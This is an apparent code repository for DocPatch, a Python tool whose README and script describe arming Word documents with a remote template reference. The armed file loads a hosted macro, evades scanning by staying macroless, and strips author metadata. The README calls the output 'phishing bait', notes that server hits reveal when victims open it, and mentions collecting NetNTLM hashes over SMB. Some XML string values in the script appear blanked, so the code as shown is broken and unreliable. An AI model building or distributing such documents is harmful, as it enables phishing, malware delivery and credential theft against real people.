├── Pipfile ├── LICENSE ├── README.md └── docpatch.py /Pipfile: -------------------------------------------------------------------------------- 1 | [[source]] 2 | url = "https://pypi.org/simple" 3 | verify_ssl = true 4 | name = "pypi" 5 | 6 | [packages] 7 | click = "*" 8 | lxml = "*" 9 | zipfile = "*" 10 | 11 | [dev-packages] 12 | 13 | [requires] 14 | python_version = "3.7" 15 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2022, Christopher Maddalena 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | 3. Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # DocPatch 2 | 3 | DocPatch is a simple script that edits the XML of a macro-enabled Word document (.docm or Word 97 document) to add a reference to a remote stylesheet. The script produces an "armed" version of the document with the remote reference. bfore creating the final document, DocPatch strips out the author/creator metadata to anonymize the document. 4 | 5 | This armed document is macroless and will appear entirely benign if scanned. When opened, the new document will try to fetch the remote stylesheet. The remote template, however, can contain a macro that will then be loaded before the document is opened. The user will see the typical "Enable Content" prompt for executing the macro. 6 | 7 | As an added benefit, web server hits will let you know the document has been opened and Word is able to call out to an external resource. Even if the macro is not enabled or fails, you will have collecting some useful information. 8 | 9 | ## Usage 10 | 11 | 1. Create a Word document with your desired macro, save it as a macro-enabled template (.dotm), and then host it somewhere. It can be hosted using HTTP/S, WebDAV, or SMB. 12 | 2. Create the Word document that will be used as your phishing bait. It can be blank, a resume, a report, or anything else. The only requirement is the document must be saved as a macro-enabled document (.dotm) or a Word 97 document. 13 | 3. Provide your template URL and your bait document to DocPatch to produce the armed version. 14 | 4. Open the document in a test environment with a copy of Office. You should see requests to your server and may notice Word's splash screen mention it is contacting a server. 15 | 5. The document should then present you with an "Enable Content" prompt for the template's macro. 16 | 17 | Note: If you use a file sharing service or something else that does not show you access logs it will be more difficult to know if your documents are landing and being opened. 18 | 19 | ### Example Command 20 | 21 | `docpatch.py --doc resume.docm --server http://127.0.0.1:8000/template.dotm` 22 | 23 | ### Alternative Usage 24 | 25 | This method can also be used to collect NetNTLM hashes using SMB. 26 | 27 | ## Installation 28 | 29 | Using pipenv for managing the required libraries is the best option to avoid Python installations getting mixed-up. Do this: 30 | 31 | 1. Run: `pip3 install --user pipenv` or `python3 -m pip install --user pipenv` 32 | 2. Clone DocPatch's repo. 33 | 3. Run: `cd DocPatch && pipenv install` 34 | 4. Start using DocPatch by running: `pipenv shell` 35 | 36 | If you would prefer to not use pipenv, the list of required packages can be found in the Pipfile file. -------------------------------------------------------------------------------- /docpatch.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | DocPatch edits macro-enabled Word documents (.dotm or Word 97 documents) to add a reference to a 6 | remote macro-enabled template in the XML. The template is loaded before the document is completely 7 | opened, so macros can be added to the template and still make use of functions like Auto_Open() 8 | while the primary document remains macroless to pass scans and basic analysis. 9 | 10 | Author: Christopher Maddalena 11 | Date: 3 December 2018 12 | """ 13 | 14 | 15 | import os 16 | import sys 17 | import shutil 18 | 19 | import click 20 | import zipfile 21 | import lxml.etree 22 | 23 | 24 | def inplace_change(filename, old_string, new_string): 25 | """Opens the named file and replaces the specified string with the new string.""" 26 | with open(filename) as f: 27 | s = f.read() 28 | if old_string not in s: 29 | click.secho('[!] "{old_string}" not found in {filename}.'.format(**locals()), fg="red") 30 | return 31 | with open(filename, 'w') as f: 32 | click.secho('[+] Changing "{old_string}" to "{new_string}" in {filename}'.format(**locals()), fg="green") 33 | s = s.replace(old_string, new_string) 34 | f.write(s) 35 | f.close() 36 | 37 | 38 | # Setup a class for CLICK 39 | class AliasedGroup(click.Group): 40 | """Allows commands to be called by their first unique character.""" 41 | 42 | def get_command(self, ctx, cmd_name): 43 | """ 44 | Allows commands to be called by their first unique character 45 | :param ctx: Context information from click 46 | :param cmd_name: Calling command name 47 | :return: 48 | """ 49 | command = click.Group.get_command(self, ctx, cmd_name) 50 | if command is not None: 51 | return command 52 | matches = [x for x in self.list_commands(ctx) 53 | if x.startswith(cmd_name)] 54 | if not matches: 55 | return None 56 | elif len(matches) == 1: 57 | return click.Group.get_command(self, ctx, matches[0]) 58 | ctx.fail("Too many matches: %s" % ", ".join(sorted(matches))) 59 | 60 | 61 | # That's right, we support -h and --help! Not using -h for an argument like 'host'! ;D 62 | CONTEXT_SETTINGS = dict(help_option_names=['-h', '--help'], max_content_width=200) 63 | @click.group(cls=AliasedGroup, context_settings=CONTEXT_SETTINGS) 64 | 65 | # Note: The following function descriptors will look weird and some will contain '' in spots. 66 | # This is necessary for CLICK. These are displayed with the help info and need to be written 67 | # just like we want them to be displayed in the user's terminal. Whitespace really matters. 68 | 69 | def docpatch(): 70 | """The base command for DocPatch, used with the group created above.""" 71 | # Everything starts here 72 | pass 73 | 74 | @docpatch.command(name='docpatch',short_help='To use DocPatch, just run `python3 docpatch.py` and answer the prompts.') 75 | @click.option('--doc', prompt='Document to arm', 76 | help='The name and file path and name of the document to edit/arm. The file should \ 77 | be saved as a macro-enabled document -- .docm document or a Word 97 document.') 78 | @click.option('--server', prompt='URI for the template (.dotm) file', 79 | help='The full URI for the template (.dotm) file.') 80 | def arm(doc, server): 81 | """To use DocPatch, just run `python3 docpatch.py` and answer the prompts. You can also use the 82 | following options to declare each value on the command line. 83 | """ 84 | document_name = doc 85 | # Local values for managing the unzipped Word document contents 86 | dir_name = "funnybusiness" 87 | core_xml_loc = "funnybusiness/docProps/core.xml" 88 | settings_file_loc = "funnybusiness/word/settings.xml" 89 | theme_file_loc = "funnybusiness/word/_rels/settings.xml.rels" 90 | # The XML inserted into the armed document 91 | themes_value = '\ 92 | \ 93 | ' 95 | settings_value = '' 96 | core_xml_value = '\ 97 | 12018-10-09T00:27:00Z2018-11-29T22:32:00Z' 98 | # Check if the document is a macro-enabled Word document 99 | if not document_name.split(".")[-1] == "docm": 100 | if document_name.split(".")[-1] == "docx": 101 | click.secho("[!] This document is a .docx file and will not work. You need a \ 102 | macro-enabled document, either a .docm or a Word 97 document.", fg="red") 103 | else: 104 | click.secho("[*] It looks like the document you specified may not be a macro-enabled \ 105 | Word document (not a .docm). This is only a warning. This will still work if you've removed the \ 106 | 'm' or saved the document as a Word 97 .doc document.", fg="yellow") 107 | # Create the temporary directory for the extracted document contents 108 | if not os.path.exists(dir_name): 109 | try: 110 | click.secho("[+] Creating temporary working directory: %s" % dir_name, fg="green") 111 | os.makedirs(dir_name) 112 | except OSError as error: 113 | click.secho("[!] Could not create the reports directory!", fg="red") 114 | click.secho("L.. Details: {}".format(error), fg="red") 115 | else: 116 | click.secho("[*] Specified directory already exists: %s" % dir_name, fg="yellow") 117 | # Extract the documents contents for editing the XML 118 | click.secho("[+] Unzipping %s into %s" % (document_name, dir_name), fg="green") 119 | try: 120 | with zipfile.ZipFile(document_name, 'r') as zip_handler: 121 | zip_handler.extractall(dir_name) 122 | except Exception as error: 123 | click.secho("[!] Oops! The document could not be unzipped. Are you sure it's a valid macro-enabled Word document?", fg="red") 124 | click.secho("L.. Details: {}".format(error), fg="red") 125 | # Edit the stylesheet in settings.xml and settings.xml.rels 126 | click.secho("[+] Writing to %s..." % settings_file_loc, fg="green") 127 | inplace_change(settings_file_loc, '', settings_value) 128 | click.secho("[+] Writing to %s..." % theme_file_loc, fg="green") 129 | with open(theme_file_loc, 'w') as fh: 130 | click.secho("[*] Theme values:\n", fg="green") 131 | click.secho(themes_value + "\n", fg="green") 132 | fh.write(themes_value) 133 | # Edit docProps/core.xml to overwrite identifying metadata 134 | # Declare namespaces to be used during XML parsing 135 | dc_ns={'dc': 'http://purl.org/dc/elements/1.1/'} 136 | cp_ns={'cp': 'http://schemas.openxmlformats.org/package/2006/metadata/core-properties'} 137 | dcterms_ns={'dcterms': 'http://purl.org/dc/terms/'} 138 | # Name of the creator and last modified user 139 | user_name = "Anonymous" 140 | # Parse the XML and change the values 141 | click.secho("[+] Nuking the contents of core.xml to remove any identifying creator data:", fg="green") 142 | with open(core_xml_loc, 'r') as fh: 143 | root = lxml.etree.parse(core_xml_loc) 144 | creator = root.xpath('//dc:creator', namespaces=dc_ns) 145 | last_modified_user = root.xpath('//cp:lastModifiedBy', namespaces=cp_ns) 146 | if creator: 147 | click.secho("[*] Changing creator from {} to {}.".format(creator[0].text, user_name), fg="green") 148 | creator[0].text = user_name 149 | if last_modified_user: 150 | click.secho("[*] Changing lastModifiedBy from {} to {}.".format(last_modified_user[0].text, user_name), fg="green") 151 | last_modified_user[0].text = user_name 152 | tags = root.xpath('//cp:keywords', namespaces=cp_ns) 153 | if tags: 154 | click.secho("[*] Changing document's tags to None.", fg="green") 155 | tags[0].text = "None" 156 | description = root.xpath('//dc:description', namespaces=dc_ns) 157 | if description: 158 | click.secho("[*] Changing document's description to None.", fg="green") 159 | description[0].text = "None" 160 | created_time = root.xpath('//dcterms:created', namespaces=dcterms_ns) 161 | last_modified_time = root.xpath('//dcterms:modified', namespaces=dcterms_ns) 162 | click.secho("[*] The document's timestamps are {} (created) and {} (last modified).".format(created_time[0].text, last_modified_time[0].text), fg="green") 163 | # Write the final core.xml contents 164 | with open(core_xml_loc, 'wb') as fh: 165 | click.secho("[+] Final core.xml contents is:\n", fg="green") 166 | click.secho("{}\n".format(lxml.etree.tostring(root)), fg="green") 167 | fh.write(b'\n') 168 | fh.write(lxml.etree.tostring(root)) 169 | # Reassemble the document with the new XML 170 | os.chdir(dir_name) 171 | click.secho("[+] Reassembling the document...", fg="green") 172 | with zipfile.ZipFile('../armed_%s' % document_name, 'w') as zip_handler: 173 | for root, dirs, files in os.walk('.'): 174 | for file in files: 175 | zip_handler.write(os.path.join(root, file)) 176 | # Delete the temporary directory 177 | os.chdir("../") 178 | click.secho("[+] Nuking contents of temp directory, %s" % dir_name, fg="green") 179 | shutil.rmtree(dir_name) 180 | # Job is done and document is armed and ready 181 | click.secho('[+] Job\'s done! armed_%s is armed and ready. Feel free to change the extension to .doc to drop the "m" and rock and roll.' % document_name, fg="green") 182 | 183 | if __name__ == '__main__': 184 | arm() 185 | --------------------------------------------------------------------------------